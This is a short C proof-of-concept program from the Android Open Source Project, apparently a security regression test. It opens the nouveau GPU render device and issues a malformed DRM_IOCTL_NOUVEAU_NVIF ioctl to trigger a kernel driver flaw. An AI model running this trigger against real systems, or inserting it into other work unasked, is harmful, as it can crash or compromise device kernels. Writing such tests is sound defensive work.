1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #define _GNU_SOURCE 18 #include <errno.h> 19 #include <fcntl.h> 20 #include <pthread.h> 21 #include <sched.h> 22 #include <stdio.h> 23 #include <stdlib.h> 24 #include <sys/ioctl.h> 25 #include <sys/stat.h> 26 #include <sys/syscall.h> 27 #include <sys/types.h> 28 #include <unistd.h> 29 30 #include "local_poc.h" 31 32 #define DEV "/dev/dri/renderD128" 33 34 int dev_fd; 35 36 enum nouveau_drm_object_route { 37 NVDRM_OBJECT_NVIF = 0, 38 NVDRM_OBJECT_USIF, 39 NVDRM_OBJECT_ABI16, 40 }; 41 42 struct nvif_ioctl_v0 s_nvif; 43 44 int main() { 45 int ret; 46 47 dev_fd = open(DEV, O_RDONLY); 48 49 if (dev_fd == -1) { 50 return 0; 51 } 52 53 s_nvif.type = 0x3; 54 55 ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif); 56 } 57